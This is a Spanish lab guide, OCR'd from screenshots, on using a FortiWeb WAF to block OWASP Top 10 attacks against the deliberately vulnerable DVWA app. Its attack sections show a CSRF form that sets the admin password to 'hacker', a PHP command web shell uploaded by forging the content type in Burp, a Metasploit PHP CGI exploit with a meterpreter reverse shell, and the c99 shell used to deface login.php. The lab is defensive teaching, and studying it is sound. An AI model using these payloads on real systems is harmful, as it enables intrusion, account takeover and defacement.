DVWA	10 ms 20 ms	30 ms 40 ms 50 ms 60 ms 70 ms 80 ms 90 ms 100 ms 1
	Name	× Headers Preview Response Cookies Timing
Username Password Login	Instructions Iogin.php Iogin Iogin.logo.png	▼ General Request URL: http://192.168.1.1/dvwa/instructions Request Wethod: 6ET Status Code: © 302 Found Remote Address: 192.168.1.1:80 Referrer Policy: no-referrer-when-downgrade ▼ Response Headers view source Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Content-Length: 0
Damn Vurherable Web Application (DVVVA) is a RandomStorm OpenSource project Hint: default username is "admin" with password "password"	4 requests   1.6 KB transferre.	Content-Location: instructions.php Content-Type: text/html Date: Fri, 19 Apr 2019 16:07:47 GVT Expires: Thu, 19 Nov 1981 08:52:00 GVT Keep-Alive: timeout=15, max=94 Location: login.php Pragma: no-cache Server: x000x000x0000000000000000000000000000
🗄 🥭 🚞 🕑 🥥 🔛		· · · · · · · · · · · · · · · · · · ·

Figura 80. Redireccionamiento de FortiWeb

Fortiweb nos permite aplicar un orden lógico para el sistema web a continuación forzaremos al sistema para que acceda a una determinada url después de realizar el inicio de sesión, deberá ingresar a **instructions.php** como vemos muestra un bloqueo ya que el sistema tiene predeterminado ir a **index.php** 



59



## 14. Ataques de falsificación de peticiones entre sitios cruzados CSRF

# 14.1 Falsificación de peticiones entre sitios cruzados CSRF

En A8, el cliente está correctamente autenticado y correctamente autorizado, pero un atacante inyecta código malicioso, elabora un correo electrónico de phishing o utiliza ingeniería social para engañar al usuario para que ejecute una acción.

Como era de esperar, FortiWeb puede detectar y desinfectar algunas formas de CSRF, como **clickjacking**. Pero otras formas de este ataque son actualmente demasiado intensivas en CPU y memoria para que la prevención sea práctica en tiempo real. A menudo requieren un gran número de reglas de seguridad tanto positivas como negativas.

De este modo, y dado que los navegadores ejecutan simultáneamente código enviado por múltiples sitios web, existe el riesgo de que un sitio web (sin el conocimiento del usuario) envíe una solicitud a un segundo sitio web y éste interprete que la acción ha sido autorizada por el propio usuario.

Por ejemplo, supongamos que Jane recibió un correo electrónico que parece ser de su banco. Se le inyectó un código para que cuando Jane visite el sitio web del banco real e intente transferir fondos, no se envíen al destinatario previsto. En cambio, los fondos se transfieren al atacante. Para detectar este tipo de ataque, un WAF debería recordar a todos los destinatarios de la transferencia autorizados y bloquear los no autorizados, para cada usuario, en cada aplicación web. Además, esta es solo una entrada, en una página web el WAF necesitaría comprender cada entrada, en cada página, de cada aplicación web protegida. Por lo tanto, si es posible, su aplicación debería intentar salvaguardar las transiciones críticas de las máquinas de estados como esta. Los auditores de seguridad de código pueden ayudarlo a encontrarlos, y las bibliotecas de CSRF existen para ayudar a eliminar esto. Esto ayudará a protegerse contra la ingeniería social o los vectores de chat. También puede habilitar firmas FortiWeb para evitar inyecciones de código CSRF.

Realizaremos el siguiente ataque primero ingresaremos al sistema y nos dirigimos a **CSRF** vamos a copiar el código html marcado.

🛟 FortiWeb - FortiWeb	× 😫 192.168.1.1:8090/login	🗙 🗾 Damn Vulnera	able Web App (DV 🗙 🗧	ł		_ 8 ×
(←) → C' @	(i) 🔏 192.168.1.1	/dvwa/vulnerabilities/csrf/			… ⊠ ☆	\ □ =
						,
	Home	Vulnerability	y: Cross Si	te Request	Forgery (CSRF)	
	Instructions Setup	Change your ad	lmin password:			
	Brute Force	New password:				
	Command Execution CSRF	Confirm new passwor	rd:			
	File Inclusion SQL Injection	More info				
🕱 🗘 Inspector 🖸 Cons	iola 🕞 Depurador 🛛 { } Editor d	le estilo 🥝 Rendimiento 🕫	Nemoria 🗦 Red	8 Almacenamiento	🕆 Accesibilidad	0 ··· ×
+			1 de 4	् GET	😢 🎤 🔳 Reglas Distribución Calculad	da Cambios Animacio
<h1>Vulnerability: <pre>v<div< pre=""> class="vulnerability:</div<></pre></h1>	Cross Site Request Forgery (CSRF able code area">	)			↑ 🛛 🖓 Estilos de filtro	+ 📭 .cls
<h3>Change your a</h3>	admin password:				elemento 🗇 {	incorporado /
<pre></pre>	method="GET"> ssword" autocomplete="off" name=	"password_new">			<pre>form, fieldset  {     margin: ▶ 0;     padding: ▶ 0;     border-style: ▶ none; }</pre>	main.css:37
<pre>Confirm new pas</pre>	isword: autocomplete="off" name=	"password_conf">			Heredada de div#main_body div#main_body ☆ { font-size: 13px; }	main.css:141
<input <="" name="Change" td="" type="su&lt;br&gt;&lt;/form&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;ubmit" value="Change"/> <td>e"&gt;</td> <td></td> <td></td> <td>Heredada de div#container div#container ☆ { font-size: 13px; ♥ }</td> <td>main.css:118</td>	e">			Heredada de div#container div#container ☆ { font-size: 13px; ♥ }	main.css:118	
	er > div#main_body > div.body_padd	ed ≯ div.vulnerable_code_area ≯ fo	orm		Heredada.de.body.	u⊛ 🔓 🕅 0:25 16/03/2019

Figura 82. Copiando código html

El código copiado lo guardaremos en un notepad con extensión .html y como visualizamos muestra los campos para poder realizar el cambio de contraseña en el **sistema DVWA**.



61

Editamos el archivo csrf.html y le pondremos la clave hacker por defecto, ahora este archivo es enviado a un usuario.

🛟 FortiWeb - FortiWeb	× 192.168.1.1:8090/login	X Damn Vulnerable Web App (D\ X +		- 8	×
(←) → 健 🏠	③ 🎽 192.168.1.1	/dvwa/vulnerabilities/csrf/ 🛛 💀 🖸		III\ 🖸	≡
					^
	Home Instructions Setup Brute Force Command Execution CSRF	Vulnerability: Cross Site Request Forgery (CSRF) Change your admin password: New password: Confirm new password: Change			
	File Inclusion SQL Injection SQL Injection (Blind) Upload	More info a csrf: Bloc de notas	×		
	XSS reflected	Archivo Edición Formato Ver Ayuda			
	XSS stored	<form action="#" method="GET"> New password:</form>	^		
	DVWA Security PHP Info About	<pre><input autocomplete="off" name="password_new" type="password" value="hacker"/> Confirm new password:  </pre>			
	Logout	<pre><input autocomplete="off" name="password_conf" type="password" value="hacker"/></pre>			
	Username: admin Security Level: low PHPIDS: disabled	<	× 		
🕂 🙆 🚞	6 📀 🥥 🛷		- 🕩 陆 🗄	0:3 <sup>-</sup> 16/03/3	1 2019

Figura 84. Agregando clave en archivo malicioso

🛟 FortiWeb - FortiWeb 🛛 🗙	😫 192.168.1.1:8090/login 🛛 🗙	🗾 Damn Vulnerable Web App (D\ 🗙	/C:/Users/carlitos/Desktop/csrf.htm X	+	- 6	X
$\leftrightarrow$ $\rightarrow$ C $\textcircled{a}$	i file:///C:/Users/carlitos/De	sktop/csrf.html	-	♡ ☆	lii\ C	D≡
New password: Confirm new password: Change						
💷 🛆 🛅 🚺	o ai			. 10 Pr	a	0:32
	Einen OF				16/	03/2019

Figura 85. Ejecución del archivo malicioso

Para tener listo nuestro archivo csrf.html vamos a copiar la url original y veremos que sucede.



🛟 FortiWeb - FortiWeb	X (1) 192.168.1.1:8090/login	X Damn Vulnerable Web App (D\ X /C:/Users/carlitos/Desktop/csrf.htm )	× +	- 🗖 🗙
C → C ŵ	X 122168.11.3090/login	Confirm new password:     Confirm new p	× + > © ☆	
<b>#</b> A 🗎 (	Username: admin Securify Level: low PHPIDS: disabled		View Source View Help	v € 57 0034

Figura 86. Copiando url del sistema web



Figura 87. Modificando archivo malicioso

En este ejemplo se hará uso de la ingeniería social y la confianza que el usuario tiene en el atacante para que haga clic en el enlace al documento HTML que llevará a cabo el ataque CSRF.

En caso de no contar con esta ventaja, se podrían emplear otros métodos como por ejemplo combinando un ataque Man in the middle con DNS Spoofing para servirle una web falsa enlazando con nuestro documento HTML en lugar del sitio web original al que pretendía acceder el usuario.

El usuario al recibir el archivo csrf.html ve el formulario y hace clic en **change** realizando correctamente el cambio ya definido en el archivo.



🛟 FortiWeb - FortiWeb	X         Clip 192.168.1.1:8090/login         X         Image: Damn Vulnerable Web App (DI X         Image: Damn Vulnerable Web App (DI X         +	_ 0 ×
← → ♂ ☆	🛈 🔏 192.168.1.1/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change 🛛 💀 🟠	\ □ =
	DVWA	^
	Home Vulnerability: Cross Site Request Forgery (CSRF)	
	Instructions Change your admin password: Setup	
	Brute Force New password:	
	Command Execution Command Execution Change Change	
	SQL hiet (The The Arrow Th	
	Upload More info	
	XSS reflected         http://www.owasp.org/index.php/Cross-Site Request Forgery           XSS stored         http://www.cisecurity.com/csrf4a.html	
	DVWA Security	
	About	
	Logout	
		0:38

Figura 88. Usuario ejecuta el archivo malicioso, ejecutándose con éxito

Ahora el usuario al intentar acceder con su clave vemos como no logra realizar su ingreso comúnmente.

CD F	ortiWeb - For	tiWeb	×	192.168	.1.1:8090/logi	n X	Damn V	ulnerable Web App (E	X [AWV	+						-	8	Х
4	→ Cª	ŵ		i 🔏	192.168.1.1	I/dvwa/logi	n.php						•••	⊠ ☆		111\		Ξ
								DV		y								^
							Userna	ne										
							Pagane	**										
							rasswo	iu										1
									Login									
									5									
								Lo	gin failed									
R	Inspecto	r 🕨 Co	nsola 🗆	> Depurador	{ } Editor	de estilo (	🌮 Rendimi	ento 🌵 Memoria	∋ Rec	8 Almace	namiento	🕆 Accesi	bilidad				<u>.</u>	۰x
Û	∀ Filtrar URL	s					II Todo	HTML CSS JS >	(HR Tipog	rafía Imágenes	Medios V	VS Otro	Registros persister	ntes 🗌 Deshab	litar caché	iin regulaci	ón≑ H/	NR \$
Esta	ado Mé	todo	Dominio	A	Causa	Tipo	Tran	Encabezados	Cookies	Parámetros	Respuesta	Tiempo	)					
302	POST	2	192.168.1.	1 🗎 log.	. document	html	1,68 KB	Filtrar parámetros p Datos de formulario	edidos									
200	GET	×	192.168.1.	1 🗎 log.	document	html	1,64 KB	username: admin										
200	GET	2	192.168.1	1 ☐ favi	ima	html	en caché	password: passwo	rd									
0	4 pedidos	3,47 KB / 3,3	32 KB transfe	erido Finaliz	rado: 435 ms	DOMConter	NtLoaded: 34	Login: Login										
E	e		6	9											- 10 F	<b>a</b> 17 .	0:52 6/03/2	019

Figura 89. Usuario no puede iniciar sesión con sus credenciales

Ahora intentamos ingresar con el clave **hacker** e ingresamos correctamente.



C) Fe	ortiWeb - FortiV	Veb	×	192.168	.1.1:8090/log	in	× 🖸 Da	amn Vulnerable Web A	App (DV 🗙	+								-	٥	×
$\leftarrow$	→ C' 6	1		i) 19	2.168.1.1/d	vwa/index	.php							Π.	⊌	☆		1111		Ξ
								D\	WA											^
			Hom Instr Setu Brut	e ructions IP e Force		Dar to b bett app	elcor nn Vulneral e an aid for ter understa lication sec ARNIN	me to Dan ble Web App (DVWA r security profession and the processes of surity in a class room G!	) is a PHP/I als to test th securing w environment	NySQL web a eir skills and eb applicatior nt.	le We application t tools in a le is and aid to	b Ap hat is dan gal enviro eachers/si	p! nn vulner onment, h tudents to	able. Its nelp web o teach/l	main goa develope earn web	ls are rs				
	C haracter		Com CSR File SQL	Imand Exec F Inclusion Injection	() care	Dar any onte Di	nn Vulneral internet fai o a local ma sclaim	ble Web App is dam cing web server as it achine inside your L/ IET	n vulnerable will be com AN which is	! Do not uplo promised. We used solely fo	ad it to your e recommen or testing.	r hosting p nd downlo	provider's bading an	public h d installi	ntml folder ng <u>XAMP</u>	or P			-	~
LX fill	♥ Filtrar LIDLe		onsola L	2 Depurador	{ } Edito	de estilo	C Rendin	hiento il Memoria	YHP Tinogr	afía Imágana	Medios	WS Otro	sibilidad	aistras no	reistantas	Dochah	ilitar cachó	Sin regular	ión≜ H	
Esta	do Méto	do	Dominio	A	Causa	Tino	Tran	Encabezados	Cookies	Parámetros	Respuesta	a Tiemo	00	gistros per	Isistentes	Desilab	lindi cacrie	Sirregula	ion • n	//// ¥
302	POST	1	🔏 192.168.1.	1 🗎 log.	. document	html	4,86 KB	Filtrar parámetros	pedidos											
283	GET GET 3 pedidos 12	2,81 KB / 2	<ul> <li>192.168.1.</li> <li>192.168.1.</li> <li>9,67 KB transl</li> </ul>	1 📄 ind. 1 📄 mai	document stylesheet izado: 588 ms	html css DOMCor	4,82 KB en caché	Datos de formulario     username: admi     password: hacke     Login: Login	n r											
	e		6	9	Ø												<b>▲</b> ())	<b>R</b> IR	0:53 16/03/2	8 2019

Figura 90. El atacante ingresa con las nuevas credenciales

# 14.2 Mitigación de falsificación de peticiones entre sitios cruzados CSRF

Fortiweb nos permite protegernos de estos ataques con las firmas que son actualizadas mediante Fortiguard, también podemos unir reglas de acceso a determinadas url y forzar un orden lógico. A continuación, veremos cómo Fortiweb bloquea el ataque **csrf**.



Figura 91. Bloqueo de FortiWeb

## Vemos las firmas seleccionadas para protección de este tipo de

#### ataques.

Damn Vulnerable Web	App (DV 🗙	0	FortiWeb - FortiWeb X	The URL you request	ed has been bl	× +					- 0	Х
← → ♂ ☆			(i) 192.168.1.1:1044/index				80% •	⊠ ☆		\ (		× =
FortiWeb-VM Fo	rtiWeb									(	$\rightarrow$	
System	> ^	Edit Sigr	nature Policy									
FortiView	>											
🚨 User	>	Nam	ne	DVWA_Signatures	JVWA_Signatures							
Policy	>	Cust	tom Signature Group	Custom_signatures	Custom_signatures_dvwa							
Server Objects	>	Con	nments									
Application Delivery	>		N		<u></u>	EL D 11 Mart 1	A 15	DI 1 D 1 1	<b>c</b> ::	т.		
Web Protection	~	C	Name		Status	False Positive Mitigation	Action	Block Period	Severity	In	gger Ac	tion
Known Attacks	~						Alert & Deny	00	riign			
Signatures			Cross Site Scripting (Extended)				Alert & Deny	60	Medium			
Custom Signature			SQL Injection		C	C	Period Block	20	High			
Advanced Protection	>		SQL Injection (Extended)			C	Period Block	60	Medium			
Cookie Security			SQL Injection (Syntax Based Detection	on)			Period Block	60	High			
Input Validation	>		Generic Attacks				Alert & Deny	60	High			
Protocol			Generic Attacks(Extended)				Alert	60	Medium			
Access	>		Known Exploits				Alert & Deny	60	High			
XML Protection			Trojans				Alert & Deny	60	High			
Web Anti-Defacement			Bad Robot				Alert & Deny	60	Low			
FTP Security	>		Information Disclosure				Erase & Alert	60	High			
DoS Protection	>	ė	Personally Identifiable Information				Alert & Denv	60	High			
Protection	>	Ξ.	Detection Threshold		1		rucitore	00				
Tracking	>		Detection mreshold		1							
Auto Learn	>				01/		1 D 1 1					
Q Web Vulnerability Scan	> ~				UK	Cancel Sign	ature Details					
🗄 🙆 🗒	٩	9							• I)	<b>Pa</b> in	1 21/(	6:02 14/2019

Figura 92. Activando firmas de seguridad

# 15. Ataques de uso de componentes con vulnerabilidades conocidas

## 15.1 Uso de componentes con vulnerabilidades conocidas

Puede sorprendernos saber que OWASP no considera que el software sin parche sea la amenaza más grave. Solo ocupa el noveno lugar en la lista de sus 10 amenazas de seguridad más serias, a pesar de que es una de las más comunes. Este ranking se debe en parte a que es el más fácil de defender. Si FortiWeb está buscando exploits y troyanos conocidos, y está bloqueando las fugas HTTPS de Heartbleed, entonces esto le permite un poco de tiempo para parchear sus servidores. Las actualizaciones automáticas en muchos componentes de software de servidor también hacen que esta amenaza sea fácil de combatir.

Ahora vamos a subir un código malicioso, como por ejemplo una **shell PHP**, por medio de un formulario que originalmente ha sido creado para



permitir únicamente la subida de tipos de archivos determinados (generalmente multimedia como imágenes o vídeos), pudiendo llegar a convertirse en una puerta abierta a todo el sistema donde esté alojada la página web. Este tipo de formularios de subida son comúnmente encontrados en redes sociales, foros, blogs e incluso en las bancas electrónicas de algunos bancos, en este caso vamos atacar la librería usada en PHP llamada Upload donde vemos que no existe una correcta **validación** de los archivos que se suben al servidor, como veremos subimos el archivo **csrf.html** y el archivo **urls dvwa.txt**.



Figura 93. Código php en nivel low



Figura 94. Carga correcta de archivo malicioso



	DVWA	
Home Instruct Setup Brute F Comma CSRF File Incl SQL Inj Upload XSS ref XSS sto DVWA S PHP Inf About	ons Choose an image to upload: Seleccionar archivo No se eligió archivo Upload /./hackable/uploads/urls dvwa.txt succes More info http://www.owasp.org/index.phplUnrestricted_File_Up ///indog.securiteam.com/undex.phplurestricted_File_Up sciend ecurity	rfully uploaded pload ns-threat.htm Activar Windows Ir a Configuración de PC para activar Window

Figura 95. Carga correcta de archivo malicioso



Figura 96. Viendo contenido de archivo malicioso

Ahora vamos a subir un archivo malicioso llamado **.php**, como veremos en la siguiente imagen muestra un mensaje de error a pesar de estar en nivel de seguridad bajo, para poder subir el archivo al servidor vamos a



## modificar el request.

C FortiWeb - FortiWeb X	Damn Vulnerable Web App (DV 🗙	+			-	0	×
(← → ♂ û	(i) 192.168.1.1/dvwa/vulnerabi	lities/upload/#	80% … 🛛 🕁	lin c		•	-0
← → ♂ ☆	192.168.1.1/dvwa/vulnerabil      Home Instructions Setup  Brute Force Command Execution CSRF File Inclusion SQL injection SQL injection SQL injection SQL injection XSS reflected XSS stored DVWA Security PHP Info About Logout	Ittics/upload/#	80%) ···· 日本	₩\ (		•	E.
	Username: admin Security Level: high PHPIDS: disabled	Damn Vulnerable Web Application (DVWA) v1 0.7	View Source View Help Activar V Ir a Config	Windows uración de PC para activa			
🕂 🙆 🚞 🕹	9			- 🕩 🖡	<b>a</b> 17	22:0 21/04/2	7 019

Figura 97. Error al subir archivo php

Para modificar la solicitud request vamos a capturar el tráfico con la herramienta Burp Suite, al momento de subir el archivo **.php** vamos a modificar el request agregando en **content-type application/x-php**, como se ve el archivo se carga correctamente siendo una puerta trasera para futuros ataques.

Damn Vulnerable Web App (DVWA) v 1.0.7 :: Vulnerability: File Upload - Mozilla Firefox	/ 💿 😸 💿 Burp Suite Free Edition v1.6.32	0 0
Damn Vulnerable Web A 🗴 🔶	Burp Intruder Repeater Window Help	
4 192 168 1 1/dwa/minechilities/mined/#	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts CO2	
	Intercept HTTP history WebSockets history Options	
PARIA	Filter: Hiding CSS, image and general binary content	
DVWA	# A Host Method URL Params Edited Status Length MIME type Extension	on Title
	63 http://192.168.1.1 GET /dwa/vulnerabilities/upload/ 🔤 200 4826 HTML	Damn Vi
Mala and Mar. Ella Hada ad	64 http://192.168.1.1 GET /dwwa/vulnerabilites/upload/  200 4826 HTML 65 http://192.168.1.1 GET /dwwa/vulnerabilites/xss r/  200 4627 HTML	Damn Vi Damn V
we vulnerability: File Opload	66 http://192.168.1.1 GET /dwa/vulnerabilities/xss r/  200 4627 HTML 67 http://02.168.1.1 GET /dwa/vulnerabilities/xss r/  200 4627 HTML 67 http://02.168.1.1 GET /dwa/vulnerabilities/xss r/  200 4627 HTML	Damn Vi
tructions Choose an image to upload:	68 http://192.168.1.1 POST /dvwa/vulnerabilities/upload/ 20 4865 HTML	Damn V
p Browse No file selected.	69         http://192.168.1.1         GE1         /dwa/vunerabilites/upload/         IIII         200         4826         HIML           70         http://192.168.1.1         GET         /dwa/vunerabilites/xss_r/         IIIIII         200         4627         HTML	Damn V Damn V
linext	71 http://192.168.1.1 GET /dvwa/vulnerabilities/upload/ 200 4826 HTML 72 http://192.168.1.1 GET /dvwa/vulnerabilities/upload/ 200 4826 HTML 73 http://192.168.1.1 GET /dvwa/vulnerabilities/upload/ 200 4826 HTML 74 http://192.168.1.1 GET /dvwa/vulnerabilities/upload/ 200 4826 HTML 75 http://192.16	Damn V Damn V
te Force	73 http://192.168.1.1 POST /dvwa/vu/nerabilities/upload/ 2 200 4826 HTML	Damn V
mmand Execution//hackable/uploads/shell1.php succesfully uploaded!	74 http://192.168.1.1 POSI /dwwa/vulnerabilities/uploady 200 4892 HTML 75 http://192.168.1.1 GET /dwwa/instructions	Damn Vi
F		,
Inclusion More info	Original request Edited request Response	
http://www.owasp.org/index.php/Unrestricted_File_Upload	Raw Params Headers Hex	
. Injection (Blind) http://blogs.securiteam.com/index.php/archives/1268	Name Value	
load	POST //dwa/tulnerabilites/upload/ HTTP/I_1 Heat 192.168.1.1	
S reflected	User-Agent Mozila/5.0 0(1): Ubuntu; Linux i686; nr.43.0) Gecka/20100101 Pirefox/43.0	
S stored	Accept text/html,application/khtml+xml,application/kmt;q=0.9,4/4;q=0.8 AcceptLanguage en-US,er;q=0.5	
	Accept-Encoding gzip, deflate	
n security	Referer http://192.168.1.1/duwa/vulnerabilities/upload/	
	Cooke security=low; PHPScSSID=428810cf/560b15468dd/a855daea0d8 Connection close	
	Content-Type multipart/form-data; application/x-php; boundary=801555 Content-Length 515	5684178331
A		
	80155568417833126141817208047	
me: admin View Source View He	<pre>pp Content-Disposition: form-data; name="MAX_FILE_SIZE"</pre>	
S: disabled	100000	
	80155568417833126141817208047	
	Content-Disposition: form-data; name="uploaded"; filename="snelli.pnp" Content-Type: application/x-php	
	200	
	\$cmd= \$_GET["cmd"];	
	system(\$cmd):	
	concent cappearate for monetary manue opcond	
	Upload	
📀 🥘 🛐 Burp Suite Free Edition v1.6.32 🛛 🗧 Damn Vulnerable Web App (DVWA) v1.0.7 :	7 < + > D pe a search term 🤌	<u>p</u> . • 0.#
	a v madificanda al regulact	
Figura 98. Interceptando trafic	co y modificando el request	



Ahora vamos a realizar un ataque con **metasploit** desde Kali Linux atacando una vulnerabilidad para PHP que afecta a instalaciones que usan el intérprete CGI.





exploit/multi/	http/ph	p cgi	arg injection	2012-05-03	excellent	PHP CGI Argument Injection
<u>msf</u> > use exploit	/multi/	http/p	hp_cgi_arg_inj	ection		
<u>msf</u> exploit(multi	/http/p	hp_cgi	_arg_injection	) > set RHOST 1	.92.168.1.1	
RHOST => 192.168.	1.1					
<u>msf</u> exploit(multi	/http/p	hp_cgi	_arg_injection	) > set LHOST 1	92.168.1.15	
LHOST => 192.168.	1.15					
<u>msf</u> exploit(multi	/http/p	hp_cgi	_arg_injection	) > set payload	php/meterpre	ter/reverse_tcp
payload => php/me	terpret	er/rev	erse_tcp			
<u>msf</u> exploit(multi	/http/p	hp_cgi	_arg_injection	) > exploit		
				an alla		
[*] Started rever	se TCP	handle	r on 192.168.1	15:4444		
[*] Sending stage	(3///5	bytes	) [0 192.168.1	I 15. 4444 - 100	100 1 1 50440	-+ 2010 04 21 22 56 20 0200
[*] Meterpreter s	ession	1 open	ea (192.106.1.	15:4444 -> 192.	106.1.1:50449	) at 2019-04-21 23:30:29 -0300
meteroreter $> 1c$						
listing: /var/www						
Listing. /var/www						
Mode	Size	Туре	Last modified	N	lame	
41777/rwxrwxrwx	4096	dir	2012-05-20 16	:30:29 -0300 d	lav	
40755/rwxr-xr-x	4096	dir	2012-05-20 16	:52:33 -0300 d	lvwa	
100644/rw-rr	891	fil	2012-05-20 16	:31:37 -0300 i	.ndex.php	
40755/rwxr-xr-x	4096	dir	2012-05-20 16	:22:48 -0300 m	utillidae	
40755/rwxr-xr-x	4096	dir	2012-05-20 16	:22:48 -0300 p	hpMyAdmin	
100644/rw-rr	19	fil	2012-05-20 16	:22:48 -0300 p	hpinfo.php	
40755/rwxr-xr-x	4096	dir	2012-05-20 16	:22:48 -0300 t	est	
40775/rwxrwxr-x	20480	dir	2012-05-20 16	:22:48 -0300 t	ikiwiki	
40775/rwxrwxr-x	20480	dir	2012-05-20 16	:22:48 -0300 t	ikiwiki-old	
40755/rwxr-xr-x	4096	dir	2012-05-20 16	:22:48 -0300 t	wiki	
<u>meterpreter</u> > pwd						
/var/www						
<u>meterpreter</u> >						





Como vemos logramos ejecutar un shell en el servidor y podemos ver los directorios y en que carpeta actualmente estamos, ahora subiremos el archivo **c99.php** el cual es un shell php que nos permite usar diferentes funciones para manejar un servidor sin necesidad de entrar en su panel de control.

<pre>meterpreter &gt; upload '/root/Escritorio/c99.php' /var/www/ [*] uploading : /root/Escritorio/c99.php -&gt; /var/www/ [*] uploaded : /root/Escritorio/c99.php -&gt; /var/www//c99.php meterpreter &gt; ls Listing: //var/www ==================================</pre>									
💮 Papelera									
Mode	Size	Туре	Last modified	Name					
100644/rw-rr	665712	fil	2019-04-22 12:28:55 -0300	c99.php					
41777/rwxrwxrwx	4096	dir	2012-05-20 16:30:29 -0300	dav					
40755/rwxr-xr-x	4096	dir	2012-05-20 16:52:33 -0300	dvwa					
100644/rw-rr	891	fil	2012-05-20 16:31:37 -0300	index.php					
40755/rwxr-xr-x	4096	dir	2012-05-20 16:22:48 -0300	mutillidae					
40755/rwxr-xr-x	4096	dir	2012-05-20 16:22:48 -0300	phpMvAdmin					
100644/rw-rr	19	fil	2012-05-20 16:22:48 -0300	phpinfo.php					
40755/rwxr-xr-x	4096	dir	2012-05-20 16:22:48 -0300	test					
40775/rwxrwxr-x	20480	dir	2012-05-20 16:22:48 -0300	tikiwiki					
40775/rwxrwxr-x	20480	dir	2012-05-20 16:22:48 -0300	tikiwiki-old					
40755/rwxr-xr-x	4096	dir	2012-05-20 16:22:48 -0300	twiki					
_									
<u>meterpreter</u> >									

Figura 101. Subiendo shell en el servidor

Ahora ingresaremos al shell donde vemos los directorios del servidor web, a continuación, vamos a modificar los permisos del archivo **login.php** dentro de la carpeta **DVWA**.

		192.16	58.1.1 - phpshell - Mozilla Firefox			c		8
192.168.1.1 - phpshell	× +							
🗲 🛈   192.168.1.1/c99.php			C   C	Q. Search	☆ 自 ◀	· 🏫		≡
Most Visited ✓ MOSt Offensiv	e Security 🌂 Kali Linux	🔧 Kali Docs 🌂 Kali Tools 🍬 Exploit	-DB 🐚Aircrack-ng 🔟Kali Forums 🌂 NetH	unter 🌂 Kali Training 闄 Getti	ng Started			
		c99Shell v. 1	.0 pre-release build #	±16!				^
Software: Apache/2.2.8 (Ubuntu) DAV2. <u>PHP/5.2.4-2ubuntu5.10</u> uname -a: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 uid=33(www-data) gifo333(www-data) gifo333(www-data) gifo333(www-data) Safe-mode: /var/www/ /ree 5.1 GB of 6.94 GB (73.3%)								
			Owned by hacker					
		Listir	ng folder (3 files and 8 folders):					
Name A Same A Sa	Size LINK DIR DIR DIR DIR DIR DIR DIR 650.11 KB 891 B 19 B	Modify 17.03.2010 10:08/23 22.04.2019 11:28/54 20.05.2012 15:30:29 20.05.2012 15:52:33 14.05.2012 01:43:54 14.05.2012 01:43:54 14.05.2012 01:50:38 19.04.2010 18:54:16 16.04.2010 02:17:47 16.04.2010 15:27:58 22.04.2019 11:28/55 20.05.2012 15:31:37 16.04.2010 02:12:44	Owner/Group root/root www-data/www-data wow-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data www-data/www-data	Perms driver strek driver strek				
				Select all Un	select all With sele	cted: 💌	Confir	•

Figura 102. Ejecución de shell desde Kali Linux



				192.168.1.1 - phpshell - Mozilla Firefox		•••
192.168.1.1 - phpshell × +						
▲ ● ① 192.168.1.1/c99.php?act=ls&d=%2Fvar%2Fwww%2Edvwa&sort=0a				🖾 🖉 Q. Search 🗘 🖨 🐇		
Most Visited ✓	Offensive Security	🔍 Kali Linux 🕯	🕻 Kali Docs 🌂 Kali Tools 🏼	Exploit-DB 📡Aircrack-ng 🔟 Kali Forums	🗙 NetHunter 🔧 Kali Training 😺 Getting Started	
🧕 [external]			20.05.2012 15:22:36	www-data/www-data	di waraana	
[hackable]			20.05.2012 15:22:36	www-data/www-data	di warwarwa	
🚊 [vulnerabilities]			20.05.2012 15:22:36	www-data/www-data	di waraya 👘	
A.htaccess			08.09.2010 22:49:16	www-data/www-data	-HWAPAPA 1	
CHANGELOG.t		4.95 KB	06.06.2010 20:55:14	www-data/www-data	orthornor in the second s	
COPYING.txt			16.03.2010 01:56:22	www-data/www-data	of Weit (eff. eff. eff. eff. eff. eff. eff. eff	
README.txt		4.82 KB	16.03.2010 01:56:22	www-data/www-data	STW-T+T+	
about.php			26.08.2010 12:15:16	www-data/www-data	STW-TOTO .	
🖻 favicon.ico		1.37 KB	06.09.2010 11:59:42	www-data/www-data	SIWCESTO	
ids_log.php			16.03.2010 01:56:22	www-data/www-data	-tWetterter	
index.php		1.84 KB	20.05.2012 15:51:49	www-data/www-data	-TW-T+-T+-	
instructions.php			16.03.2010 01:56:22	www-data/www-data	-TW-T+-T+-	
login.php		2.58 KB	20.05.2012 15:52:33	www-data/www-data	-TWOT-OT	
logout.php			16.03.2010 01:56:22	www-data/www-data	-TWOP-IP-	
🛱 php.ini				www-data/www-data	-TWODOLD-	) 🖹 📥 🔲
phpinfo.php			16.03.2010 01:56:22	www-data/www-data	-TWOP-P-	) 🖹 📥 🔲
Trobots.txt			16.03.2010 01:56:22	www-data/www-data	(TW(T)(T))	) 👔 📥 🔲
security.php		2.67 KB	16.03.2010 01:56:22	www-data/www-data	ALM-DO-DO-	
setup.php		1.32 KB	06.06.2010 23:58:00	www-data/www-data	-twit-di	N 🖬 📥 🔲
					Select all Inselect all	With selected.
					Sciett all Chistote all	With Sciected.
:: Command execute::						
Enter: Select:						
	chmod 777 login.php		Execu	te		Execute
u Skadanie bieko JB u						
: stratuws tricks :D ::						

Figura 103. Modificando permisos de archivo login.php

Ahora modificamos el archivo **login.php** para poder realizar un defacement, al acceder al sistema vemos que el inicio de sesión fue modificado.



Figura 104. Modificando archivo login.php


Figura 105. Visualizamos que la página web fue modificada

# 15.2 Mitigación en uso de componentes con vulnerabilidades conocidas

Fortiweb nos permite la descarga de HTTPS esto se configura directamente en la política del servidor. La opción de bloquear exploits conocidos y subidas de troyanos se configura en dos lugares: el conjunto de firmas y las restricciones de carga de archivos.

🛟 FortiWeb - FortiWeb	×	+							- 8	×
↔ ∀ ⊕		(i) 192.168.1.1:1044/index			80% ••	• ⊠ ☆		III\ (		÷
FortiWeb-VM For	tiWeb							(	) >_	•
🔅 System	> ^ E	dit Signature Policy								
FortiView	>									
📥 User	>	Name	DVWA_Signatures							
Policy	>	Custom Signature Group	Custom_signatures_dvwa	- O						
E Server Objects	>	Comments		.11 0/199						
++ Application Delivery	>	N	<b>C</b> 1		A.11		<b>C</b> 11	τ.	A 12	_
